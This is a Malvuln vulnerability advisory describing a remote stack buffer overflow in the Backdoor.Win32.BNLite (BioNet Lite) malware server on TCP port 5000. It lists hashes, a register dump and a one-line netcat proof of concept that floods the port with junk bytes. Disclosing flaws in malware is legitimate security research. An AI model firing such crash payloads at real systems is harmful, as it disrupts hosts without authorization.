Backdoor.Win32.BNLite Buffer Overflow

Backdoor.Win32.BNLite malware suffers from a buffer overflow vulnerability.

MD5 | dbde5bac13398ffd2ee1d5e6cfbbb825

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.BNLite
Vulnerability: Remote Stack Buffer Overflow
Description: BioNet Lite Server 4.0a listens on TCP port 5000. Third-party attackers who can reach an infected system can trigger a buffer overflow overwriting the ECX, EDX and AX (16-bit) registers by sending a long junk payload.
Family: BNLite
Type: PE32
MD5: 0d1f873f6816debd244e1e77509f6ba7
Vuln ID: MVID-2022-0502
Dropped files: procmon.exe
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 03/03/2022

Memory Dump:
EAX : 00004141
EBX : 027BD120
ECX : 41414141
EDX : 41414141
EBP : 0019FC08
ESP : 0019FA48
ESI : 027BD128
EDI : 02780000
EIP : 776E2D6A ntdll.776E2D6A

C:\>python -c "print('A'*10000)" | nc64.exe x.x.x.x 5000

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Related Posts